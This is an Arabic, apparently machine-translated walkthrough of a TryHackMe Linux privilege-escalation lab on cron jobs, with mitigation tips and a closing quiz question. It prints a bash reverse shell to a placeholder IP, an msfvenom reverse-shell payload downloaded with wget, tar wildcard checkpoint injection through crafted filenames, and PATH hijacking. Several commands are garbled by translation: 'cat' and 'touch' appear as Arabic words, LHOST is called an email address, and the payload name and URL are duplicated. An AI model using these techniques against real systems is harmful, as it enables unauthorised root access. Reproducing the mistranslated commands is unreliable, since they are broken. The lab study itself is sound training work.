في هذا الفيديو التوضيحي، غطينا في هذا الفيديو التفصيلي، قمنا بتغطية تسلسل امتيازات لينكس من خلال علامة التبويب Cronge في لينكس. تتضمن علامة التبويب Cron جميع مهام cron للبرامج المجدولة للتشغيل في وقت محدد.
مقدمة
يُعدّ تصعيد امتيازات لينكس مفهومًا مهمًا في الأمن السيبراني، حيث يسمح للمهاجمين أو المخترقين الأخلاقيين بالحصول على امتيازات أعلى على النظام. تستكشف هذه المقالة التقنيات المختلفة المستخدمة لتصعيد امتيازات لينكس، كما هو موضح في وحدة TryHackMe Linux PrivEsc.
لمحة عامة
- يركّز على تصعيد الامتيازات في أنظمة لينكس من خلال وظائف cron jobs عن طريق:
- تعديل البرامج النصية القابلة للكتابة.
- استغلال أحرف البدل في الأوامر.
- التلاعب بمتغيرات البيئة.
ملاحظات دراسة أخصائي اختبار الاختراق المعتمد من HackTheBox
فهم تصاعد الامتيازات
تصعيد الامتيازات هو عملية الحصول على وصول مرتفع إلى النظام. هناك نوعان:
- التصعيد الرأسي: الانتقال من مستخدم منخفض الامتيازات إلى الجذر.
- التصعيد الأفقي: الوصول إلى حساب مستخدم آخر دون زيادة مستوى الامتيازات.
تقنيات تجاوز الامتيازات الشائعة في لينكس
1. استغلال الخدمات الجارية
إحدى الطرق الشائعة لتصعيد الامتيازات هي استغلال الخدمات التي تعمل كجذر. على سبيل المثال:
- التحقق من العمليات التي تعمل تحت الجذر باستخدام
ps aux
. - استغلال MySQL التي تعمل كجذر عن طريق حقن UDF (وظائف محددة من قبل المستخدم).
- إنشاء مكتبات مشتركة لتنفيذ أوامر عشوائية كجذر.
2. أذونات الملفات التي تمت تهيئتها بشكل خاطئ
يمكن استغلال أذونات الملفات الضعيفة لتصعيد الامتيازات. على سبيل المثال:
- إذا كان /etc/shadow (الذي يخزّن تجزئات كلمات المرور) قابلاً للقراءة من قبل جميع المستخدمين، يمكن للمهاجمين استخراج تجزئات كلمات المرور واختراقها باستخدام أدوات مثل John the Ripper.
- إذا كان /etc/shadow قابلاً للكتابة، يمكن للمهاجم استبدال كلمة مرور الجذر مباشرةً.
3. اختراق تجزئات كلمات المرور
إذا تمكن أحد المهاجمين من الوصول إلى تجزئات كلمات المرور، فيمكنه استخدام أدوات مثل:
john the ripper
لكسر التجزئةhash-identifier
لتحديد خوارزمية التجزئة.
4. استغلال ثنائيات SUID
تعمل الملفات التي تم تعيين بت SUID عليها بامتيازات المالك. يسمح استغلالها للمهاجم بتنفيذ الأوامر كجذر.
- سرد ثنائيات SUID:
find / -perm -4000 -type f 2>/dev/null
- تشغيل ثنائي SUID الذي يفرز قذيفة:
/usr/bin/some_suid_binary
5. سياسات كلمات المرور الضعيفة
إذا كان لدى النظام سياسات كلمات مرور ضعيفة:
- يمكن للمهاجمين تنفيذ هجمات القوة الغاشمة.
- قد يكون المستخدمون قد أعادوا استخدام كلمات المرور عبر حسابات مختلفة، مما يجعل هجمات حشو بيانات الاعتماد فعالة
وظائف لينكس كرون
مهام Cron هي برامج أو نصوص برمجية يمكن للمستخدمين جدولتها للتشغيل في أوقات أو فترات زمنية محددة. تخزن ملفات جدول كرونتاب (crontabs) تكوين مهام كرونتاب. توجد ملفات جدول كرونتاب على مستوى النظام في /etc/crontab.
1. فحص وظائف كرون
- الأمر:
قِط /etc/crontab
الغرض: سرد جميع مهام cron المجدولة والنصوص البرمجية المرتبطة بها.مثال على الإخراج:
- تم تحديد نصين:
overwrite.sh
وcompressed.sh
.
2. تسلسل الامتيازات عبر برنامج نصي لمهمة Cron Job قابل للكتابة
- الخطوات:
- حدد موقع النص البرمجي:
حدد موقع overwrite.sh
2. تحقق من أذونات البرنامج النصي:
ls -la /path/to/overwrite.sh
3. إذا كان قابلاً للكتابة، قم بالكتابة فوق النص البرمجي بحمولة مثل الغلاف العكسي.
مثال على الحمولة:
- قذيفة عكسية في
overwrite.sh
باش -i >& /dev/tcp/<بروتوكول الإنترنت الخاص بك>/<المنفذ الخاص بك> 0>&1
افتح مستمع على جهازك:
nc -lvnp <المنفذ الخاص بك>
انتظر حتى تقوم مهمة cron بتنفيذ النص البرمجي المُعدَّل واستقبال جذر الصدفة.
3- استغلال أحرف البدل في الأوامر
- الهدف:
compressed.sh
، والذي يستخدم الأمرtar
مع أحرف البدل. - الخطوات:
- إنشاء حمولة قذيفة عكسية: bashCopy code
msfvenom -p linux/x64/x64/shell_reverse_tcp LHOST=<عنوان البريد الإلكتروني الخاص بك> LPORT=<المنفذ الخاص بك> -f elf -o shell.elf
نقل الحمولة إلى الجهاز الهدف:
python3 -m http.server
wget http:// http://<عنوانك>:<منفذك>/shell.elf
إنشاء ملفات نقاط تفتيش متوافقة مع القطران لاستغلال حرف البدل
المس - "- نقطة تفتيش=1"
لمس - "- نقطة تفتيش-إجراء=إكسيك=sh shell.elf"
تعمل مهمة cron على تشغيل tar
، والتي تقوم بتنفيذ الحمولة بسبب استغلال حرف البدل.
التلاعب بمتغيرات البيئة
- السياق:
- غالبًا ما تعتمد مهام Cron على المتغير
PATH
لتحديد موقع البرامج النصية أو الثنائيات. - إذا كان
PATH
يتضمن دلائل قابلة للكتابة من قبل المستخدم، فيمكن تنفيذ البرامج النصية الخبيثة بدلاً من البرامج النصية الشرعية.
- غالبًا ما تعتمد مهام Cron على المتغير
- الخطوات:
- فحص المتغير
PATH
- فحص المتغير
قِط /etc/crontab
إنشاء برنامج نصي خبيث في دليل قابل للكتابة (على سبيل المثال، /tmp
أو ~/
):
نانو / tmp/إعادة الكتابة
- إضافة قذيفة عكسية أو أي أمر خبيث.
تأكد من أذونات التنفيذ:
chmod +x / tmp/overwrite
ستعمل مهمة cron على تنفيذ البرنامج النصي الخبيث الخاص بك بسبب تعديل PATH
.
قائمة التحقق من تجاوز امتيازات لينكس
- الملفات والدلائل القابلة للكتابة:
- تحقق دائمًا من الأذونات (
ls -la
) لتحديد البرامج النصية أو الدلائل القابلة للكتابة. - تعديل البرامج النصية أو الثنائيات عندما تسمح الأذونات بذلك.
- تحقق دائمًا من الأذونات (
- أحرف البدل في الأوامر:
- استغلال أحرف البدل (
*
) في مهام كرون باستخدام أدوات مثلtar
لتنفيذ أوامر عشوائية.
- استغلال أحرف البدل (
- متغيرات البيئة:
- تحقق من
PATH
القيم في/etc/crontab
. - ضع البرامج النصية الخبيثة في الدلائل المضمنة في المتغير
PATH
.
- تحقق من
- الممارسات الآمنة:
- قم بتحديث أدوات النظام مثل
tar
لمنع الاستغلال. - تجنب تضمين الدلائل القابلة للكتابة في
PATH
.
- قم بتحديث أدوات النظام مثل
الاستجابة للحوادث والتخفيف من آثارها
لمنع تصعيد الامتيازات، يجب على فرق الأمن:
- تحديث البرامج بانتظام لتصحيح الثغرات الأمنية.
- تقييد الأذونات على الملفات الهامة مثل
/etc/shadow
. - مراقبة أنشطة المستخدم بحثاً عن سلوك غير طبيعي.
- استخدم مصادقة قوية لمنع هجمات بيانات الاعتماد.
الخاتمة
- التقنيات المشمولة:
- تعديل البرامج النصية القابلة للكتابة.
- استغلال أحرف البدل في مهام الكرون.
- استخدام متغيرات البيئة لتصعيد الامتيازات.
- النتيجة:
- شرح كيفية تصعيد الامتيازات إلى الجذر باستخدام ثغرات مهمة كرون.
يُعدّ تصعيد امتيازات لينكس مهارة حاسمة في اختبار الاختراق والتدقيق الأمني. يساعد فهم هذه التقنيات كلاً من المهاجمين والمدافعين في تعزيز أمن النظام. يستخدم المخترقون الأخلاقيون هذه الأساليب للاختبار، بينما يجب على المسؤولين تنفيذ أفضل الممارسات للتخفيف من المخاطر.
تجربة نظام تشغيل لينكس برايفتسك | غرفة الإجابات
ما هي قيمة متغير PATH في /etc/crontab؟